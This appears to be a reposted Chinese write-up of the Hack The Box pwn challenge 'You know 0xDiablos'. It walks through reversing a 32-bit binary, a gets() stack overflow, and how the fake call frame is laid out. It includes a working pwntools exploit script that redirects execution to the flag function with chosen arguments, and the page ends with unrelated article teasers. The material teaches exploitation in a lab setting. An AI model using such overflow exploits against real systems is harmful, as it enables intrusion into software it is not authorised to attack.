HTB-You know 0xDiablos

news2024/9/21 20:01:05

引言

  • 项目概述:HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造,友好的为想要入手PWN的朋友解释了原理
  • 技术点涉及: 32位linux逆向、32位程序调用、栈溢出
  • 目标与读者:网络安全兴趣爱好者、PWN新手

基本情况

运行看看

└─$ ./vuln   
You know who are 0xDiablos: 
aaaa
aaaa

输入啥,就吐出啥

使用checksec查一下保护

─$ checksec vuln      
[*] '/home/att/htb/Youknow0xDiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

意思是没有任何保护,实实在在的新手题,可以更聚焦栈溢出的核心原理

逆向分析

将程序放到IDA分析

主函数中发现一个叫做vuln的函数
应该就是目标了

gets()很标准的高危函数

这里有个数组s距离ebp B8H
gets(s),那么就可以利用这个s数组进行溢出
junk = b'a'*0xB8

想象下,我们输入了大量垃圾内容,从栈的某个位置一直写到栈的底部,栈底指针EBP指向的是父函数的EBP值,然后EBP+0x4的位置就是存放的当前函数的返回地址(父函数调用当前函数后的下一行指令地址)
是不是多写点就可以改变函数的运行

那么攻击载荷就可以这样大致构建了
payload = junk + ebp+ret

很明显,是要我去分析那个flag函数

flag函数打开了flag.txt,如果两个参数比较成功就会返回读取的值
就是说我还得在栈中构建好两个参数
最终的攻击载荷大致就是这个结构
payload = junk + ebp+ret + ret2 + arg1 + arg2

call逻辑讲解

这里来讲解下为什么要这么构建payload
由于IDA F5是变成了伪C代码,所以调用约定是C的调用约定
32位程序,参数从右至左,依次入栈

正常call flag的流程如下

push arg2
push arg1

call flag_addr

xxxcommand

flag:
/*进入函数前相当于做个这个操作,这里我是用汇编命令做比喻,而不是真的执行了这两个命令
push ret(xxxcommand的地址)
mov eip ,flag_addr
*/

    ; 保存返回地址
    push ebp
    mov ebp, esp

    ; 访问第一个参数(eax)
    mov eax, [ebp + 8]

    ; 访问第二个参数(ebx)
    mov ebx, [ebp + 12]

    ; 执行函数体
    ; ...

    ; 恢复返回地址
    mov esp, ebp
    pop ebp
    ret

而我要伪造一个call,就需要在栈里面调整好参数的站位,而且要注意我使用ret,而不是call,ret不会push一个地址进去。下面我会详细讲解为什么payload是这样构造的,结构为什么这样排列

正常call的栈

	ebp_调用flag函数的EBP指针的值(进入函数后第一个指令就是push ebp,这里打个Tab用来区分其他已有的内容)

ret_addr_调用flag函数的下一行指令的地址
arg1
arg2

而我要调用flag,就得将返回地址覆盖为flag的地址
大致的载荷构建结构如下

xxxxx垃圾数据
+
ebp_调用flag的父函数的ebp
+
flag()的地址

而且flag还有参数

xxxxx垃圾数据
+
ebp_随便一个EBP地址,反正不用回主函数了
+
flag()函数的地址
+
    (这个在载荷中去掉,理由是从返回结果推导得到)ebp_随便一个EBP地址,反正不用回vuln函数了(正常call才要这个),这里是直接用的ret跳到flag()了
+
	ret_回vuln的地址,为什么我会留下作为理解,而不是ebp,是因为实际进入flag()函数的时候,栈顶的位置就应该是返回地址而不是ebp,后面执行第一个指令`push ebp`,才会将ebp写入栈顶,而且flag()执行完毕后最终会返回到这个地址

+
arg1
+
arg2

所以32位的paylaod像这构造

payload = junk + ebp + ret + ret2 + arg1 + arg2

发送payload

可以看到刚进flag函数的时候
栈顶的值是这样,这时候还没有执行push ebp,说明如果这是正常的call的话,这里存放的应该是调用flag()的下一行指令的地址,也就是flag()执行完毕后需要返回的地址,这里的ebp的值是0x62626262是因为ebp=b'b'*4,我随便写的四个b在哪里占位置

0xffce8ac0:     0xdeadbeef63636363 

完整的poc如下

from pwn import *

target='./vuln'
# context.binary指定了目标程序后,例如pack就可以自动根据目标是多少位来打包

context.binary = target
e = ELF(target)
# 远程连接
r=remote('83.136.253.163', 37682)

# 本地执行
# r=process(target)

# 本地调用gdb进行调试
# r=gdb.debug(target)
junk=b'a'*0xB8
ebp=b'b'*4
ret=0x080491E2
ret2=b'c'*4
arg1=0xDEADBEEF
arg2=0xC0DED00D
# pack 根据context.binary的环境来打包,这里由于是32位可执行文件,所以这里的pack可以视同为p32,打包为32位小端字节序
payload=junk+ebp+pack(ret)+ret2+pack(arg1)+pack(arg2)
# print(payload)
tmp=r.sendlineafter(b'You know who are 0xDiablos:', payload)
# 转化为交互式,就不用一直print输出的值了
r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2113690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

八叉树CSG布尔运算

1. 前言 布尔运算是几何内核的核心话题之一,又分为二维布尔运算和三维布尔运算,其中三维布尔运算技术难度较高,缘之空间维度的提升。 根据实现的理论不同,三维布尔运算又分为B-Rep布尔运算、CSG布尔运算、三角网格布尔运算等方法…

MySQL5.6.51安装

1 官网下载 MySQL :: Download MySQL Community Server (Archived Versions) 2 解压 3 配置环境 D:\MySQL\mysql-5.6.51-winx64\bin 把这个配置到path后面 4 启动 5 设置初始密码 set password for rootlocalhost password(123456); 6 登录mysql

【数据结构】栈与队列OJ题(用队列实现栈)(用栈实现队列)

目录 1.用队列实现栈oj题 对比 一、初始化 二、出栈 三、入栈 四、取队头元素: 2.用栈实现队列 一、定义 二、入队列 三、出队列 四、队头 五、判空 前言:如果想了解什么是栈和队列请参考上一篇文章进来一起把【数据结构】的【栈与队列】狠…

Cursor是什么?Cursor Pro Plus 如何订阅升级教程

一、Cursor是什么? Cursor 是一个基于 Visual Studio Code(VS Code)技术构建的高级代码编辑器,专为提高编程效率并更深度地整合 AI 功能而设计。它不仅继承了 VS Code 的强大功能和用户界面,还增加了专门针对 AI 支持…

Kafka3.6.0 linux 安装,非zk模式

1.下载 到kafka官网下载 2.上传到服务器指定位置 3.解压到指定目录,这里我放到/opt下 tar -xzvf kafka_2.13-3.6.0.tgz -C /opt/ 4.修改配置 因为我们不使用zookeeper,所以来到kafka装根目录的下的/config/kraft/ cd /opt/kafka_2.13-3.6.0/config…

前端HTML基础笔记

HTML(HyperText Markup Language,超文本标记语言)是一种用于创建网页的标准标记语言。它通过一系列的元素(或称为标签)来定义网页的结构和内容。HTML文档由一系列的元素组成,这些元素可以包含文本、图片、链…

伽罗华域GF的简单计算

伽罗华域(Galois Field),也称为有限域,是一个包含有限个元素的代数结构,满足加法、减法、乘法和除法(除以零除外)运算。伽罗华域在编码理论、密码学、数字信号处理等领域有广泛的应用。它以法国…

思科网络地址转换5

#网络安全技术实现# #任务五利用动态NAPT实现局域网访问Internet5# #1配置计算机的IP 地址、子网掩码和网关 #2配置路由器A的主机名称及其接口IP地址 Router>enable Router#conf t Router(config)#hostname Router-A Router-A(config)#int f0/0 Router-A(config-if)#i…

【Python报错已解决】 AttributeError: ‘move_to‘ requires a WebElement

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 文章目录 前言一、问题描述1.1 报错示例1.2 报错分析1.3 解决思路 二、解决方法2.1 方法一:检查元素选择器2.2 方法…

计算机毕业设计选题-基于python的企业人事管理系统【源码+文档+数据库】

💖🔥作者主页:毕设木哥 精彩专栏推荐订阅:在 下方专栏👇🏻👇🏻👇🏻👇🏻 实战项目 文章目录 实战项目 一、基于python的企业人事管理系…

mycat双主高可用架构部署-MySQL5.7环境部署第一台

MySQL5.7服务器IP是192.168.31.209及192.168.31.210 1、192.168.31.209:3307实例部署 a、配置文件 mkdir -p /data/mysql/mysql3307/{data,logs} #创建MySQL数据及日志目录 vi /data/mysql/mysql3307/my3307.cnf #配置文件整理 [client] #password your_password port …

【LVI-SAM】激光雷达点云处理特征提取LIO-SAM 之FeatureExtraction实现细节

激光雷达点云处理特征提取LIO-SAM 之FeatureExtraction实现细节 1. 特征提取实现过程总结1.0 特征提取过程小结1.1 类 FeatureExtraction 的整体结构与作用1.2 详细特征提取的过程1. 平滑度计算(calculateSmoothness())2. 标记遮挡点(markOcc…

堆-数组的堆化+优先队列(PriorityQueue)的使用

一、堆 1、什么是堆? 以完全二叉树的形式将元素存储到对应的数组位置上所形成的新数组 2、为什么要将数组变成堆? 当数组中的元素连续多次进行排序时会消耗大量的时间,将数组变成堆后通过堆排序的方式将会消耗更少的时间 二、接口 给堆…

python | 字符串字母大小写转换方法

在对字符串所含字母单词进行处理时,经常会对其格式进行转换统一。 python自带了一些判断和处理转换的方法。 一、字符串格式判断方法 islower():str.islower(),判断字符串是否全是小写,是返回True,不是返回False i…

Transiting from CUDA to HIP(三)

一、Workarounds 1. memcpyToSymbol 在 HIP (Heterogeneous-compute Interface for Portability) 中,hipMemcpyToSymbol 函数用于将数据从主机内存复制到设备上的全局内存或常量内存中,这样可以在设备端的内核中访问这些数据。这个功能特别有用&#x…

红黑树——封装map和set

概念 红黑树,是一种二叉搜索树,但在每个结点上增加一个存储位表示结点的颜色,可以是Red或Black。 通过对任何一条从根到叶子的路径上各个结点着色方式的限制,红黑树确保没有一条路径会比其他路径长出俩倍,因而是接近平…

MySQL数据库介绍——初始数据库MySQL

作者简介:一名云计算网络运维人员、每天分享网络与运维的技术与干货。 公众号:网络豆云计算学堂 座右铭:低头赶路,敬事如仪 个人主页: 网络豆的主页​​​​​ 目录 写在前面: 一.数据库基础知识 1.…

使用shell脚本安装mysql8,进行主从备份配置

思路 在3台主机上安装mysql进行主从备份配置 使用rpm包yum安装mysql 首先,我们要准备好安装文件,首先下载rpm包 wget -P "/opt/" https://repo.mysql.com//mysql80-community-release-el7-3.noarch.rpm 然后执行安装(默认已配置…

1111111111111113

📢博客主页:https://blog.csdn.net/2301_779549673 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! 📢本文由 JohnKi 原创,首发于 CSDN🙉 📢未来很长&#…

openwrt的旁路模式无法访问国内网站

防火墙: 常规设置-> 区域: lan-> wan :编辑 IP 动态伪装:勾选